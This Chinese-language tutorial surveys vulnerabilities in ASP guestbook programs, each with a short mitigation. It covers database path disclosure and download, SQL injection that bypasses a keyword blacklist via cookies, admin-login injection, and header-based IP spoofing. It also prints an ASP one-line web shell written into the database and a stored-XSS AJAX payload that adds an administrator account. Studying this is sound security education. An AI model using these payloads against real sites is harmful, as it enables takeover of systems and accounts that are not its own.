留言本的漏洞挖掘总结

留言本的功能比较单一,一般针对普通浏览者只有留言的功能。而对于管理员的功能多少在于编写着对留言本的优化。一般管理员有回复留言编辑留言删除留言还有网站用户修改网站基础(类似与标题等)修改。

  常见漏洞①

Conn.asp暴库漏洞

  测试程序:粑粑工作室留言本2.0

  漏洞代码:

<%

dim conn,mydb,db,rs

db=dbstr&"data/#baba@yaoyao520.mdb"

AccessPath=dbstr&"data"

Set Conn = Server.CreateObject("ADODB.Connection")

mydb="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")

Conn.Open Mydb

%>

其实这个也不算上漏洞代码,针对这个漏洞的原因大家可以看看vip脚本入侵教程的[5]暴库的原理和实践

直接访问就把路径爆出来了。

'C:Inetpub111留言本2.0includedata#baba@yaoyao520.mdb'

看到这段了吧。正常的数据库文件在C:Inetpub111留言本2.0data#baba@yaoyao520.mdb这里。

防范方法:

  直接在conn.asp加入容错语句。

On error resume next
 

常见漏洞②

数据库下载漏洞

其实数据库所谓数据库下载漏洞呢,有两种。

1.       默认数据库下载。

因为很多人不怎么在乎留言本安全所以很多人都用默认的数据库。导致可以下载。

还是以上面的程序做测试。 其中#需要转换为%23
 
还有后缀如果是asp或者asa的访问出乱码,可以用迅雷等下载软件进下载。
 

2.       利用暴库漏洞获取数据库,然后进行下载。下载方法如上所述。

防范方法:

1.       修改默认数据库地址。

2.       添加防下载表

  常见漏洞③

注射漏洞

这里的注射漏洞跟普通注射漏洞一样。由于没找到特好的实例,所以把前面的代码改了一下。

测试程序:粑粑工作室留言本2.0

去掉了conn.asp的方注射代码。

gshow.asp

set rs=server.CreateObject("adodb.recordset")

            sql="select * from gonggao where id="&request.QueryString("id")

            rs.open sql,conn,1,3

这里由于变量id没做过滤导致代码注射。
 
 

但是这里程序conn.asp有防注入代码。

代码如下:

<%

'--------定义部份------------------

Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr

'自定义需要过滤的字串, "|" 分隔

XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"

'----------------------------------

%>

<%

XH_Inf = split(XH_In,"|")

'--------POST部份------------------

If Request.Form<>"" Then

For Each XH_Post In Request.Form

For XH_Xh=0 To Ubound(XH_Inf)

If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then

Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ253436577');</Script>"

Response.Write "非法操作!系统做了如下记录↓<br>"

Response.Write "操作Ip"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作时间:"&Now&"<br>"

Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:post<br>"

Response.Write "提交参数:"&XH_Post&"<br>"

Response.Write "提交数据:"&Request.Form(XH_Post)

Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ253436577');window.close();</Script>"

Response.End

End If

Next

Next

End If

'----------------------------------

'--------GET部份-------------------

If Request.QueryString<>"" Then

For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)

If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then

Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ253436577');</Script>"

Response.Write "非法操作!系统做了如下记录↓<br>"

Response.Write "操作Ip"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作时间:"&Now&"<br>"

Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:GET<br>"

Response.Write "提交参数:"&XH_Get&"<br>"

Response.Write "提交数据:"&Request.QueryString(XH_Get)

Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ253436577');window.close();</Script>"

Response.End

End If

Next

Next

End If

'----------------------------------

%>

大家一定对这段代码比较熟悉。标准的防注入程序。只要是对近来一年内的注射有了解就知道这段代码没做cookie过滤导致我们可以利用cookie注射了。

防范方法:

1.       添加cookie防注入代码

2.       对获取变量进行过滤。

  常见漏洞④

后台验证漏洞

简单来说这个就是变形的sql注射漏洞。

  测试程序:心情故事屋留言本系统

checkpass.asp

<!--#include file="conn.asp"-->

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%

admin=request.form("admin") '定义admin的值是表单传过来的用户名域名称admin

password=request.form("password") '定义password的值是表单传过来的用户名域名称password

if admin="" or password="" then '这句的意思是假如用户名和密码没有输入的话那么执行下一句

response.Write("<script language=javascript>alert('请填写完整!');history.go(-1)</script>") 'javascript脚本提示用户

end if '结束if语句

sql="select * from admin where admin='"&admin&"' and password='"&password&"'" '查询admin表中的adminpassword两个字段

set rs=conn.execute(sql) '设定记录集rs,用conn执行SQL语句

if rs.eof or rs.bof then '当没有符合筛选结果时,则执行下面的句子

response.write "<script language=javascript>"

response.write "alert('用户或密码不对!');"

response.write "javascript:history.go(-1);"

response.write "</script>" 'javascript脚本提示用户

else '如果符合条件的时候

session("admin")=admin '新建session,值等于表单传来的用户名

response.write"<SCRIPT language=JavaScript>alert('登陆成功');"

response.write"this.location.href='mymanage.asp';</SCRIPT>"

end if '结束if语句

%>
 
 

防范方法:

   这种漏洞直接过滤“”就行。

   但是针对注射一定要进行全面过滤。

  常见漏洞⑤

数据库写入漏洞

这种漏洞我在找代码的过程中也比较费劲,有些利用比较费劲所以我改一下。让利用比较直接。

Index.asp

Id=Request.Querystring("Id")

Books_mingzi=htmlencode(Request.form("mingzi"))

If Books_mingzi="" then Books_mingzi="匿名者" End If

Books_biaoti=htmlencode(Request.form("biaoti"))

Books_neirong=htmlencode(Request.form("neirong"))

在这里利用了htmlencode过了了,我们随便利用某一个去掉过滤然后进行测试就可以了。

我这里去掉了neirong前面的htmlencode

提交了<%execute request("value")%>到内容里,访问数据库路径可以看到如下。
 

直接利用蓝屏一句话提交就可以了。

好了简单的写入讲解了。

我们再看这个代码中的相对来说不简单的写入。

(这里我没做实际测试,但是记得好像06年有人专门为这个写过文章,针对php的,所以估计asp也差不多。)

       Set mRs= Server.CreateObject("adodb.recordSet")

       mRs.open "Select * from dqe_gustbook", conn, 1, 3

       mRs.addnew

              mRs("who") = Books_mingzi

              mRs("biaoti") = Books_biaoti

              mRs("neirong") = Books_neirong

              mRs("lanmu") = lanmu

              mRs("zhiding") = 0

              mRs("shijian") = now()

              UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

              If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

              mRs("ip") = UserIP

       mRs.update

       mRs.close

这里UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

              If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

因为"HTTP_X_FORWARDED_FOR"这个值是通过获取HTTP头的"X_FORWARDED_FOR"属性取得.所以这里就提供给恶意破坏者一个办法:可以伪造IP地址!

针对这个我只说这么多,希望大家自己继续在研究。

还有很多过滤形式可以绕过,希望大家发挥自己的创新能力。共享自己的技巧。

  常见漏洞⑥

嵌入xss漏洞

这次是利用深度学习(asp)留言板,也就是本次黑客防线挑战议题。

我们提交留言内容为<script>alert(“黑客防线”)</script>
 

从后台登陆访问浏览信息就看跨站效果了。
 

接下来就是利用跨站来获取我们需要做的操作了。

这次议题我让大家修改留言贴倒数第二个留言信息。

本次议题到目前为止就一人完成,冰雪风谷[Z.S.T]

我这里就直接利用他写的ajax代码来完成本次的教学。

       function getXHR() {

              var xhr = null

              if (window.XMLHttpRequest) {

                     xhr = new XMLHttpRequest();

              } else if (window.createRequest) {

                     xhr = window.createRequest();

              } else if (window.ActiveXObject) {

                     try {

                            xhr = new ActiveXObject('Msxml2.XMLHTTP');

                     } catch( E ) {

                            try {

                                   xhr = new ActiveXObject('Microsoft.XMLHTTP');

                            } catch(E) {}

                     }    

              }

              return xhr;

       }

       var ajax = getXHR();

       ajax.open('POST','/admin/guestBook/guestBook_update.asp',false);

       ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

       ajax.send("guestName=test&guestContent=bingxuefenggu&guest_ID=19");//

       ajax.onreadystatechange=function() {}

       var ajax1 = getXHR();

       ajax1.open('POST','/admin/adminUser/adminUser_Add.asp',false);

       ajax1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

       ajax1.send("UserName=test&password1=test");

      

       这里经过两次提交,都是以post代码,第一个是修改帖子,第二个是添加用户。( 风谷不老实,我本来让只修改内容,但是他又加了个添加用户。)
 

防范方法:

 Function htmlencode(fString)

If not isnull(fString) then

    fString = replace(fString, ">", ">")

    fString = replace(fString, "<", "<")

    fString = Replace(fString, CHR(32), " ")

    fString = Replace(fString, CHR(9), " ")

    fString = Replace(fString, CHR(34), """)

    fString = Replace(fString, CHR(39), "'")

    fString = Replace(fString, CHR(13), "")

    fString = Replace(fString, CHR(10) & CHR(10), "</p><p> ")

    fString = Replace(fString, CHR(10), "<br> ")

       htmlencode = fString

End If

End Function

  常见漏洞⑦

URL xss漏洞

针对URL跨站我就不想讲太多了,跟上面嵌入xss差不多。

大家可以看看动网多个URL xss跨站漏洞

原文地址:https://www.cnblogs.com/milantgh/p/3617824.html